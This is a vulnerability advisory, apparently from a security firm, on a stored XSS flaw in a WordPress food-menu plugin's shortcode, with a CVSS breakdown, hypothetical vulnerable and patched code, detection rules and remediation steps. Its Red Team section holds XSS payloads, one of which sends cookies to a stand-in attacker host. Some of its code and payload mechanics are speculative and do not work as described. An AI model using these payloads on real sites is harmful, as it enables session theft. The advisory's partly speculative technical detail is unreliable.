CVE-2025-6378

Executive Summary

CVE-2025-6378 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Responsive Food and Drink Menu WordPress plugin, versions up to and including 2.3. The flaw resides in the display_pdf_menus shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level privileges can inject arbitrary JavaScript or HTML into pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin’s shortcode handler fails to validate and escape attribute values before rendering them in the page output.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository. Users should verify they are running the latest version and monitor the plugin’s changelog for a security patch. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (Victim must visit the page)
• Scope: Changed (Impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication but is straightforward. The impact is limited to client-side attacks, but combined with social engineering, it can lead to privilege escalation or data theft.

Deep Dive & Mechanics

The vulnerability is in the display_pdf_menus shortcode handler. The plugin likely processes attributes like menu_id, category, or style without proper validation. For example, an attacker could craft a shortcode like:

[display_pdf_menus menu_id="1" style="color:red" onclick="alert('XSS')"]

If the plugin directly outputs the style attribute without escaping, the onclick event becomes part of the HTML. The injected script executes in the context of the victim’s session.

The root cause is insufficient input sanitization and output escaping. WordPress provides functions like esc_attr() and wp_kses() to prevent XSS, but the plugin developer did not use them for the shortcode attributes.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example):

function display_pdf_menus_shortcode($atts) {
    $menu_id = $atts['menu_id'];
    $style = $atts['style'];
    echo "<div id='menu-$menu_id' style='$style'>...</div>";
}

Patched Code (expected fix):

function display_pdf_menus_shortcode($atts) {
    $menu_id = intval($atts['menu_id']);
    $style = esc_attr($atts['style']);
    echo "<div id='menu-$menu_id' style='$style'>...</div>";
}

The patch uses esc_attr() to escape the style attribute and intval() to ensure menu_id is numeric. Without an official patch, users must manually apply similar sanitization.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites: WordPress site with the vulnerable plugin installed, and an account with contributor-level access.
2. Craft Payload: Create a post or page containing the malicious shortcode:

   [display_pdf_menus menu_id="1" style="x:expression(alert('XSS'))"]
   

   Or use a more sophisticated payload to steal cookies:

   [display_pdf_menus menu_id="1" style="background:url('http://attacker.com/steal?cookie='+document.cookie)"]
   

3. Trigger: Publish the post and wait for an administrator or other user to view it. The script executes in their browser.

Blue Team (Defense & Detection)

1. Monitor Shortcode Usage: Log all instances of [display_pdf_menus in posts and pages. Look for unusual attribute values.
2. Web Application Firewall (WAF): Deploy rules to block requests containing suspicious shortcode attributes (e.g., onclick, onerror, javascript:).
3. Content Security Policy (CSP): Implement a strict CSP to mitigate XSS impact, e.g., script-src 'self'.
4. User Education: Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File System: Modified or new posts/pages containing the shortcode [display_pdf_menus with suspicious attributes.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g., for cookie exfiltration).
• Logs: WordPress audit logs showing creation of posts by contributor users with unusual shortcode parameters.
• Browser: JavaScript alerts or unexpected redirects when viewing certain pages.

Detection Engineering

YARA Rule

rule wordpress_plugin_xss_cve_2025_6378 {
    meta:
        description = "Detects malicious shortcode attributes in WordPress posts for CVE-2025-6378"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6378"
    strings:
        $shortcode = /\[display_pdf_menus[^\]]*?(on\w+|javascript:|expression|alert|eval|script)/i
    condition:
        $shortcode
}

Sigma Rule

title: WordPress Plugin XSS via display_pdf_menus Shortcode
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-6378 by injecting malicious shortcode attributes
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.user_agent|contains: "Mozilla"
        http.request_body|contains: "display_pdf_menus"
        http.request_body|re: "(on\w+|javascript:|expression|alert|eval|script)"
    condition: selection
falsepositives:
    - Legitimate use of style attributes with CSS expressions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6378 WordPress Plugin XSS Attempt"; flow:to_server,established; content:"display_pdf_menus"; http_client_body; pcre:"/(on\w+|javascript:|expression|alert|eval|script)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Responsive Food and Drink Menu plugin until a patch is released.
2. Short-Term Fix: Manually edit the plugin’s shortcode handler to sanitize attributes using esc_attr() and intval().
3. Long-Term Fix: Apply the official patch when available. Monitor the plugin’s repository for updates.
4. Compensating Controls: Implement a Web Application Firewall (WAF) with rules to block XSS payloads. Enforce Content Security Policy (CSP) headers.
5. User Management: Review and restrict contributor-level accounts. Enable two-factor authentication for all users.

Valters IT
Securing Digital Frontiers